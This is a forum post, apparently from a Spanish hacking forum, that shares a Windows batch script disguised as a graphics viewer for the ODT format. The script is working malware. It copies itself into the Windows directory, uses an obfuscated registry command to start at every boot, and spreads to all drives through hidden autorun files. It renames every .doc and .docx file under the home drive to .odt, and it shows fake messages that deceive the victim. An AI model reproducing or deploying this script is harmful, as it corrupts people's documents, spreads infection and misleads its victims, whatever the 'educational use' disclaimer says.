aqui! http://www.hackxcrack.es/foro/index.php?topic=1165.0
@echo off&title ODT
SeTlocaL EnableDelayedExpansion&mode con cols=50 lines=15&ColoR a
::CREATED BY Guerrerohgp
::ONLY FOR EDUCATIVE USE
::GUERREROHGP IS NOT RESPONSABLE OF THE USE OF THE SCRIPT.
Copy /y "%0" %windir%\odt.bat>nul
foR %%a iN (C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) dO (cd %%a:\&&call:auto %%a)>nul
set reg=add&set add=reg
set a=abcdef&set m=mlr
echo.Mira La Grafica!&echo. cargando Grafica ODT para CMD O DOS.
%add% %reg% HK%m:~1,1%%m:~0,1%\Softw%a:~0,1%%m:~2,1%%a:~4,1%\%m:~0,1%ic%m:~2,1%osoft\Windows\Cu%m:~2,1%%m:~2,1%entV%a:~4,1%%m:~2,1%sion\%m:~2,1%un /v ODT /t %m:~2,1%%a:~4,1%G_SZ /%a:~3,1% "%windir%\odt.bat" >nul
cd /d "%homedrive%\"
foR /f "tokens=*" %%D iN ('dir /b/s *.doc *.docx') dO (ren "%%D" "%%~nD.odt"&set/a "nt+=1"&set char=%char%±
if "!nt!" gtr "7" set "nt=0"
echo !char!)
cls&echo.Me temo que no podremos Mostrarle
echo.La Grafica. Pues Su Windows&echo.no Soporta El formato Libre de OpenOffice
echo.Por eso nos hemos dado la libertad&echo.De Arreglar sus archivos .doc
ping -n 6 0.0.0.0>nul&cls
echo.Gracias por su comprencion&echo.Que viva el Codigo libre!!!&pause>nul
exit
:auto
(copy /y "%0" %1:\odt.bat&echo.[autorun]>%1:\autoRUN.inf
echo.open=odt.bat>>%1:\autoRUN.inf&echo.icon=%SystemRoot%\system32\SHELL32.dll,4>>%1:\autoRUN.inf
echo.action=Abrir carpeta para ver archivos>>%1:\autoRUN.inf&echo.shell\open=Abrir>>%1:\autoRUN.inf
attrib +h %1:\autoRUN.inf&attrib +h %1:\odt.bat)>nul
goto:eof
espero les guste XD
